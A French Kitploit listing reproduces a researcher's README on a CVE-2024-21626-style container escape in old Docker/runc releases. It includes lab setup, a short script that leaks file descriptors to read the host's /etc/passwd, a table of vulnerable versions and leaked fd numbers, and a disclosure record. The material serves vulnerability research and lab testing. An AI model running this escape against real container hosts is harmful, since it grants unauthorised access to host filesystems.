Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-21626-old-docker-versions — Analyse et exploite une vulnérabilité d'évasion de conteneur dans les versions héritées de Docker/runc, démontrant la fuite de descripteurs de fichiers pour accéder au système de fichiers hôte, avec des scripts d'installation et de test. | Kitploit
Outils/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationApprentissage et ÉducationÉvasion de ConteneurLabs et Pratique
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

Analyse et exploite une vulnérabilité d'évasion de conteneur dans les versions héritées de Docker/runc, démontrant la fuite de descripteurs de fichiers pour accéder au système de fichiers hôte, avec des scripts d'installation et de test.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
6il y a 1 anPas encore vérifié

Vulnérabilité d'évasion de conteneur dans les anciens composants runc (CVE-2024-21626)

Lors de mon analyse de CVE-2024-21626, j'ai découvert que d'autres anciens composants Docker sont vulnérables à une fuite de descripteur de fichier (non mentionnée dans l'avis de sécurité GHSA-xr7r-f8xq-vfvv). Lisez mon article complet pour une explication détaillée ici.

1. Configuration de l'environnement 🔨

A. Télécharger et installer la version Ubuntu 18.04.6 LTS (Bionic Beaver)

Pendant l'installation, ne cochez pas la case pour télécharger les mises à jour du système.

B. Installer la version vulnérable de Docker et les composants associés

  • Allez sur https://download.docker.com/linux/static/stable/x86_64/ et téléchargez l'ancienne version docker-X.Y.Z-ce.tgz pour tester

  • Extrayez-la, copiez le contenu dans le chemin /usr/bin et lancez le daemon Docker.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. Vérifier les versions installées

root@kitploit:~
sudo docker version
containerd --version
uname -r

Dans les anciennes versions, nous avons docker-runc au lieu de runc. Vérifiez donc :

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Vérifiez la version de doker-runc/runc

root@kitploit:~
runc --version
docker-runc -v

2. Vérifier si la cible est vulnérable et trouver le bon fd 🧐

Exécutez checkVulnerability.sh et vérifiez si le fichier s'affiche dans le terminal

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Pour cet exemple, j'ai utilisé la version docker-17.03.1-ce. vérifier la vulnérabilité et trouver le fd

3. Tenter l'exploit 🔫

Pour cet exemple, j'ai utilisé la version docker-17.03.1-ce.

exploit

4. Résultats des tests 🧪

Voici les résultats de mon analyse, organisés par version de Docker et par version de runc associée utilisée.

docker-runc

runc

Docker Versionrunc versionLeaked fd number
docker-18.09.0.tgz1.0.0-rc5+dev❌

Voici la capture d'écran montrant les trois différentes versions vulnérables.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

Comme pour CVE-2024-21626, les différents types d'attaques restent possibles.

5. Conclusion et enseignements 🔚

Cette vulnérabilité est assez différente de la CVE-2024-21626 car :

  1. Elle peut être déclenchée sur d'anciennes versions de Linux qui ne disposent pas de l'appel système openat2.
  2. Le descripteur de fichier divulgué se trouve dans le chemin /run/runc/<container>/, qui contient l'état des conteneurs en cours d'exécution, plutôt que dans le répertoire /sys/fs/cgroup de l'hôte.

Ce que j'ai découvert, c'est que les anciennes versions sont également vulnérables à la même technique d'attaque. Bien que la vulnérabilité elle-même diffère, le résultat est le même : obtenir un accès au système de fichiers de l'hôte. L'essentiel à retenir est de ne pas se fier uniquement aux avis de sécurité - testez tout en profondeur. Comprenez pleinement la CVE, son fonctionnement, expérimentez-la dans un environnement sûr et explorez les cas limites.

6. Divulgation responsable 🕺🏻

J'ai essayé de contacter [email protected], [email protected] et j'ai tenté d'ouvrir une CVE. J'ai reçu les réponses suivantes :

Télécharger l’outil
Docker Versiondocker-runc versionLeaked fd number
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
DemandeRéponse
[email protected] (19/03/24)Les versions que vous avez listées sont toutes des versions EOL du logiciel (~7 ans) et ne sont plus corrigées ni maintenues par Docker. Si vous avez une préoccupation concernant les versions ou le libellé listés dans l'avis GHSA-xr7r-f8xq-vfvv existant ("versions affectées : >= 1.0.0-rc93, <= 1.1.11"), le canal approprié pour le signaler devrait être la boîte mail de sécurité de l'OCI : https://github.com/opencontainers/.github/blob/main/SECURITY.md Merci de nous avoir contactés. Faites-nous savoir si nous pouvons faire autre chose
[email protected] (20/03/24)aucune réponse
CVE-MITRE (15/05/2024)Nous n'attribuons normalement pas d'identifiants CVE à des problèmes qui n'existent que dans des release candidates. https://www.cve.org/CVERecord?id=CVE-2024-21626 avait affecté les versions publiées de runc, telles que la version 1.1.11.